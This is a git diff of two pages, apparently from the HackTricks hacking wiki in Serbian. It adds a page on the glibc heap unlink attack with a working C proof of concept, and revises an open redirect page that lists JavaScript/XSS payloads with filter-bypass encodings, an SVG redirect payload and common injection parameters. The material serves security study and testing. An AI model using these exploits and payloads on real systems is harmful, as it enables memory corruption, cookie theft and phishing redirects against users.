* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
</details>
|
139
binary-exploitation/heap/unlink-attack.md
Normal file
139
binary-exploitation/heap/unlink-attack.md
Normal file
|
@ -0,0 +1,139 @@
|
|||
# Unlink Napad
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
</details>
|
||||
|
||||
## Osnovne Informacije
|
||||
|
||||
Kada je ovaj napad otkriven, uglavnom je omogućavao WWW (Write What Where), međutim, neki **proveri su dodate** čineći novu verziju napada interesantnijom i kompleksnijom i **beskorisnom**.
|
||||
|
||||
### Primer Koda:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Kod</summary>
|
||||
```c
|
||||
#include <unistd.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <stdio.h>
|
||||
|
||||
// Altered from https://github.com/DhavalKapil/heap-exploitation/tree/d778318b6a14edad18b20421f5a06fa1a6e6920e/assets/files/unlink_exploit.c to make it work
|
||||
|
||||
struct chunk_structure {
|
||||
size_t prev_size;
|
||||
size_t size;
|
||||
struct chunk_structure *fd;
|
||||
struct chunk_structure *bk;
|
||||
char buf[10]; // padding
|
||||
};
|
||||
|
||||
int main() {
|
||||
unsigned long long *chunk1, *chunk2;
|
||||
struct chunk_structure *fake_chunk, *chunk2_hdr;
|
||||
char data[20];
|
||||
|
||||
// First grab two chunks (non fast)
|
||||
chunk1 = malloc(0x8000);
|
||||
chunk2 = malloc(0x8000);
|
||||
printf("Stack pointer to chunk1: %p\n", &chunk1);
|
||||
printf("Chunk1: %p\n", chunk1);
|
||||
printf("Chunk2: %p\n", chunk2);
|
||||
|
||||
// Assuming attacker has control over chunk1's contents
|
||||
// Overflow the heap, override chunk2's header
|
||||
|
||||
// First forge a fake chunk starting at chunk1
|
||||
// Need to setup fd and bk pointers to pass the unlink security check
|
||||
fake_chunk = (struct chunk_structure *)chunk1;
|
||||
fake_chunk->size = 0x8000;
|
||||
fake_chunk->fd = (struct chunk_structure *)(&chunk1 - 3); // Ensures P->fd->bk == P
|
||||
fake_chunk->bk = (struct chunk_structure *)(&chunk1 - 2); // Ensures P->bk->fd == P
|
||||
|
||||
// Next modify the header of chunk2 to pass all security checks
|
||||
chunk2_hdr = (struct chunk_structure *)(chunk2 - 2);
|
||||
chunk2_hdr->prev_size = 0x8000; // chunk1's data region size
|
||||
chunk2_hdr->size &= ~1; // Unsetting prev_in_use bit
|
||||
|
||||
// Now, when chunk2 is freed, attacker's fake chunk is 'unlinked'
|
||||
// This results in chunk1 pointer pointing to chunk1 - 3
|
||||
// i.e. chunk1[3] now contains chunk1 itself.
|
||||
// We then make chunk1 point to some victim's data
|
||||
free(chunk2);
|
||||
printf("Chunk1: %p\n", chunk1);
|
||||
printf("Chunk1[3]: %x\n", chunk1[3]);
|
||||
|
||||
chunk1[3] = (unsigned long long)data;
|
||||
|
||||
strcpy(data, "Victim's data");
|
||||
|
||||
// Overwrite victim's data using chunk1
|
||||
chunk1[0] = 0x002164656b636168LL;
|
||||
|
||||
printf("%s\n", data);
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
```
|
||||
</details>
|
||||
|
||||
* Napad ne funkcioniše ako se koriste tcaches
|
||||
|
||||
### Cilj
|
||||
|
||||
* Modifikovati pokazivač na blok u steku tako da pokazuje na stek kako bi bilo moguće izmeniti sadržaj steka upisivanjem u blok
|
||||
|
||||
### Zahtevi
|
||||
|
||||
* Određena kontrola nad memorijom (npr. stekom) kako bi se kreirali par blokova dajući vrednosti nekim od atributa.
|
||||
* Procurenje steka kako bi se postavili pokazivači lažnog bloka.
|
||||
|
||||
### Napad
|
||||
|
||||
* Postoje par blokova (blok1 i blok2)
|
||||
* Napadač kontroliše sadržaj bloka1 i zaglavlja bloka2.
|
||||
* U bloku1 napadač kreira strukturu lažnog bloka:
|
||||
* Da bi zaobišao zaštitu, osigurava da je polje `size` ispravno postavljeno kako bi se izbegla greška: `corrupted size vs. prev_size while consolidating`
|
||||
* i polja `fd` i `bk` lažnog bloka pokazuju na mesto gde je smešten pokazivač bloka1 sa ofsetima -3 i -2, tako da `fake_chunk->fd->bk` i `fake_chunk->bk->fd` pokazuju na poziciju u memoriji (steku) gde se zaista nalazi adresa bloka1:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1245).png" alt=""><figcaption><p><a href="https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit">https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit</a></p></figcaption></figure>
|
||||
|
||||
* Zaglavlja bloka2 se modifikuju kako bi se naznačilo da prethodni blok nije korišćen i da je veličina jednaka veličini sadržanoj u lažnom bloku.
|
||||
* Kada se drugi blok oslobodi, tada se dešava odvajanje ovog lažnog bloka:
|
||||
* `fake_chunk->fd->bk` = `fake_chunk->bk`
|
||||
* `fake_chunk->bk->fd` = `fake_chunk->fd`
|
||||
* Prethodno je napravljeno da `fake_chunk->fd->bk` i `fake_chunk->fd->bk` pokazuju na isto mesto (lokaciju u steku gde je smešten `blok1`), tako da je to bila validna povezana lista. Pošto **oboje pokazuju na istu lokaciju**, samo poslednje (`fake_chunk->bk->fd = fake_chunk->fd`) će imati **efekat**.
|
||||
* Ovo će **prepisati pokazivač na blok1 u steku na adresu (ili bajtove) smeštene 3 adrese pre u steku**.
|
||||
* Stoga, ako napadač može ponovo da kontroliše sadržaj bloka1, biće u mogućnosti da **piše unutar steka**, moguće je prepisati povratnu adresu preskačući canary i modifikovati vrednosti i pokazivače lokalnih promenljivih. Čak i ponovnom modifikacijom adrese bloka1 smeštene u steku na drugu lokaciju, gde ako napadač ponovo može da kontroliše sadržaj bloka1, biće u mogućnosti da piše bilo gde.
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1246).png" alt=""><figcaption><p><a href="https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit">https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit</a></p></figcaption></figure>
|
||||
|
||||
## Reference
|
||||
|
||||
* [https://heap-exploitation.dhavalkapil.com/attacks/unlink\_exploit](https://heap-exploitation.dhavalkapil.com/attacks/unlink\_exploit)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** Proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili **telegram grupi** ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
</details>
|
|
@ -1,27 +1,12 @@
|
|||
<details>
|
||||
# Otvaranje preusmeravanja
|
||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
# Open redirect
|
||||
|
||||
## Preusmeravanje na localhost ili proizvoljne domene
|
||||
### Preusmeravanje na localhost ili proizvoljne domene
|
||||
|
||||
{% content-ref url="ssrf-server-side-request-forgery/url-format-bypass.md" %}
|
||||
[url-format-bypass.md](ssrf-server-side-request-forgery/url-format-bypass.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Open Redirect na XSS
|
||||
### Otvaranje preusmeravanja ka XSS
|
||||
```bash
|
||||
#Basic payload, javascript code is executed after "javascript:"
|
||||
javascript:alert(1)
|
||||
|
@ -29,6 +14,9 @@ javascript:alert(1)
|
|||
#Bypass "javascript" word filter with CRLF
|
||||
java%0d%0ascript%0d%0a:alert(0)
|
||||
|
||||
# Abuse bad subdomain filter
|
||||
javascript://sub.domain.com/%0Aalert(1)
|
||||
|
||||
#Javascript with "://" (Notice that in JS "//" is a line coment, so new line is created before the payload). URL double encoding is needed
|
||||
#This bypasses FILTER_VALIDATE_URL os PHP
|
||||
javascript://%250Aalert(1)
|
||||
|
@ -64,40 +52,7 @@ javascript://whitelisted.com?%a0alert%281%29
|
|||
/x:1/:///%01javascript:alert(document.cookie)/
|
||||
";alert(0);//
|
||||
```
|
||||
# Otvoreno preusmeravanje pri otpremanju svg datoteka
|
||||
|
||||
## Opis
|
||||
|
||||
Otvoreno preusmeravanje je bezbednosni propust koji omogućava napadaču da preusmeri korisnika sa legitimne veb stranice na zlonamernu stranicu. Ovaj propust može biti iskorišćen prilikom otpremanja SVG (Scalable Vector Graphics) datoteka na veb stranicu.
|
||||
|
||||
## Kako iskoristiti propust
|
||||
|
||||
Da biste iskoristili ovaj propust, sledite sledeće korake:
|
||||
|
||||
1. Identifikujte veb stranicu koja omogućava otpremanje SVG datoteka.
|
||||
2. Otpremite SVG datoteku koja sadrži URL preusmeravanje. Na primer:
|
||||
|
||||
```html
|
||||
<svg xmlns="http://www.w3.org/2000/svg">
|
||||
<script>
|
||||
window.location.href = "http://zlonamerna-stranica.com";
|
||||
</script>
|
||||
</svg>
|
||||
```
|
||||
|
||||
3. Proverite da li je preusmeravanje uspešno izvršeno tako što ćete posetiti veb stranicu koja je prikazana u SVG datoteci.
|
||||
|
||||
## Kako se zaštititi
|
||||
|
||||
Da biste se zaštitili od ovog propusta, preporučuje se sledeće:
|
||||
|
||||
- Validirajte i filtrirajte unose korisnika kako biste sprečili ubacivanje skripti ili URL preusmeravanja.
|
||||
- Koristite belu listu ili sigurnosne politike za preusmeravanje, tako da samo određene adrese mogu biti korišćene za preusmeravanje.
|
||||
- Redovno ažurirajte softver i biblioteke koje se koriste za obradu SVG datoteka kako biste ispravili poznate bezbednosne propuste.
|
||||
|
||||
## Dodatne informacije
|
||||
|
||||
Otvoreno preusmeravanje je čest propust u veb aplikacijama i može biti iskorišćen za izvođenje različitih napada, uključujući fišing, preusmeravanje na zlonamerne stranice ili krađu korisničkih podataka. Važno je da razvijatelji i administratori veb stranica budu svesni ovog propusta i preduzmu odgovarajuće mere zaštite.
|
||||
## Otvoreno preusmeravanje prilikom otpremanja svg datoteka
|
||||
```markup
|
||||
<code>
|
||||
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
|
||||
|
@ -107,17 +62,7 @@ xmlns="http://www.w3.org/2000/svg">
|
|||
</svg>
|
||||
</code>
|
||||
```
|
||||
# Uobičajeni parametri za ubrizgavanje
|
||||
|
||||
When testing for open redirect vulnerabilities, it is important to understand the common injection parameters that can be exploited. These parameters are often found in the URL or in the request parameters. Here are some examples:
|
||||
|
||||
- **url**: This parameter is used to specify the target URL. Attackers can manipulate this parameter to redirect users to malicious websites.
|
||||
- **redirect**: This parameter is used to specify the redirect URL. Attackers can modify this parameter to redirect users to a different website.
|
||||
- **next**: This parameter is commonly used in login and authentication flows to redirect users after successful login. Attackers can abuse this parameter to redirect users to malicious sites.
|
||||
- **return**: This parameter is often used in logout flows to redirect users after logging out. Attackers can tamper with this parameter to redirect users to malicious destinations.
|
||||
- **callback**: This parameter is commonly used in JSONP (JSON with Padding) requests to specify the callback function. Attackers can manipulate this parameter to redirect users to malicious sites.
|
||||
|
||||
By understanding these common injection parameters, you can effectively identify and exploit open redirect vulnerabilities during penetration testing.
|
||||
## Uobičajeni parametri ubacivanja
|
||||
```
|
||||
/{payload}
|
||||
?next={payload}
|
||||
|
@ -192,51 +137,17 @@ RedirectUrl=https://c1h2e1.github.io
|
|||
Redirect=https://c1h2e1.github.io
|
||||
ReturnUrl=https://c1h2e1.github.io
|
||||
```
|
||||
# Primeri koda
|
||||
## Primeri koda
|
||||
|
||||
### .Net
|
||||
#### .Net
|
||||
```bash
|
||||
response.redirect("~/mysafe-subdomain/login.aspx")
|
||||
```
|
||||
### Java
|
||||
|
||||
Java je objektno orijentisani programski jezik koji se često koristi za razvoj web aplikacija. Ovde su neke od tehnika koje možete koristiti za hakovanje Java aplikacija:
|
||||
|
||||
#### Otvaranje preusmerenja (Open Redirect)
|
||||
|
||||
Otvaranje preusmerenja je tehnika koja se koristi za preusmeravanje korisnika sa legitimne web stranice na zlonamernu stranicu. Ova tehnika se često koristi za izvođenje napada na korisnike, kao što su krađa podataka za prijavu ili širenje zlonamernog softvera.
|
||||
|
||||
Da biste pronašli ranjivosti otvaranja preusmerenja u Java aplikacijama, možete iskoristiti sledeće metode:
|
||||
|
||||
1. Proverite da li aplikacija koristi parametre za preusmeravanje korisnika. Ovi parametri se često nazivaju "redirect" ili "url" i mogu biti deo URL adrese ili deo HTTP zahteva.
|
||||
2. Pokušajte da promenite vrednost parametara za preusmeravanje kako biste videli da li možete preusmeriti korisnika na drugu stranicu.
|
||||
3. Proverite da li aplikacija vrši proveru ispravnosti URL adrese pre nego što izvrši preusmeravanje. Ako ne vrši proveru, možete pokušati da preusmerite korisnika na bilo koju stranicu.
|
||||
|
||||
Kada pronađete ranjivost otvaranja preusmerenja, možete je iskoristiti na sledeći način:
|
||||
|
||||
1. Kreirajte zlonamernu URL adresu koja će preusmeriti korisnika na zlonamernu stranicu.
|
||||
2. Prosledite zlonamernu URL adresu korisniku, na primer putem phishing poruke ili manipulacijom legitimne web stranice.
|
||||
3. Kada korisnik klikne na zlonamernu URL adresu, biće preusmeren na zlonamernu stranicu, gde možete izvršiti napad.
|
||||
|
||||
Da biste se zaštitili od ranjivosti otvaranja preusmerenja, preporučuje se sledeće:
|
||||
|
||||
1. Proverite sve ulazne parametre koji se koriste za preusmeravanje korisnika i vršite proveru ispravnosti URL adrese pre nego što izvršite preusmeravanje.
|
||||
2. Koristite sigurne metode za preusmeravanje korisnika, kao što su metode koje koriste samo unapred definisane URL adrese ili metode koje koriste beleženje preusmerenja.
|
||||
3. Redovno ažurirajte i proveravajte bezbednost vaše Java aplikacije kako biste otkrili i ispravili ranjivosti.
|
||||
#### Java
|
||||
```bash
|
||||
response.redirect("http://mysafedomain.com");
|
||||
```
|
||||
### PHP
|
||||
|
||||
PHP je popularan jezik za izradu web aplikacija. Međutim, kao i kod svih jezika, postoje sigurnosni propusti koji mogu biti iskorišćeni. Jedan od takvih propusta je otvoreno preusmeravanje (open redirect) koji omogućava napadaču da preusmeri korisnika na bilo koju drugu URL adresu.
|
||||
|
||||
Otvoreno preusmeravanje se javlja kada aplikacija koristi korisnički unos za konstrukciju URL adrese za preusmeravanje, ali ne vrši adekvatnu proveru ili validaciju unosa. To omogućava napadaču da manipuliše URL-om i preusmeri korisnika na zlonamernu stranicu.
|
||||
|
||||
Napadač može iskoristiti otvoreno preusmeravanje na različite načine. Na primer, može kreirati URL koji izgleda legitimno, ali vodi korisnika na phishing stranicu koja pokušava da ukrade njegove podatke za prijavljivanje. Takođe, napadač može iskoristiti otvoreno preusmeravanje za izvođenje napada na druge korisnike, kao što je preusmeravanje na zlonamerni sadržaj ili skriptu.
|
||||
|
||||
Da biste sprečili otvoreno preusmeravanje, trebali biste vršiti adekvatnu validaciju korisničkog unosa i proveravati da li URL adresa pripada vašem domenu ili dozvoljenim domenima. Takođe, preporučuje se korišćenje sigurnih metoda za preusmeravanje, kao što je korišćenje funkcije `header()` u PHP-u.
|
||||
|
||||
Ukratko, otvoreno preusmeravanje je sigurnosni propust koji omogućava napadaču da preusmeri korisnika na zlonamernu stranicu. Da biste se zaštitili od ovog propusta, trebali biste vršiti adekvatnu validaciju korisničkog unosa i koristiti sigurne metode za preusmeravanje.
|
||||
#### PHP
|
||||
```php
|
||||
<?php
|
||||
/* browser redirections*/
|
||||
|
@ -244,28 +155,27 @@ header("Location: http://mysafedomain.com");
|
|||
exit;
|
||||
?>
|
||||
```
|
||||
# Alati
|
||||
## Alati
|
||||
|
||||
* [https://github.com/0xNanda/Oralyzer](https://github.com/0xNanda/Oralyzer)
|
||||
|
||||
# Resursi
|
||||
## Resursi
|
||||
|
||||
* U [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Open Redirect](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Open%20Redirect) možete pronaći liste za fuzzing.\
|
||||
* [https://pentester.land/cheatsheets/2018/11/02/open-redirect-cheatsheet.html](https://pentester.land/cheatsheets/2018/11/02/open-redirect-cheatsheet.html)\
|
||||
* U [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Open Redirect](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Open%20Redirect) možete pronaći liste za ispitivanje.\\
|
||||
* [https://pentester.land/cheatsheets/2018/11/02/open-redirect-cheatsheet.html](https://pentester.land/cheatsheets/2018/11/02/open-redirect-cheatsheet.html)\\
|
||||
* [https://github.com/cujanovic/Open-Redirect-Payloads](https://github.com/cujanovic/Open-Redirect-Payloads)
|
||||
* [https://infosecwriteups.com/open-redirects-bypassing-csrf-validations-simplified-4215dc4f180a](https://infosecwriteups.com/open-redirects-bypassing-csrf-validations-simplified-4215dc4f180a)
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite da vidite **vašu kompaniju oglašenu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** Proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
</details>
|
||||
|
|
Loading…
Reference in a new issue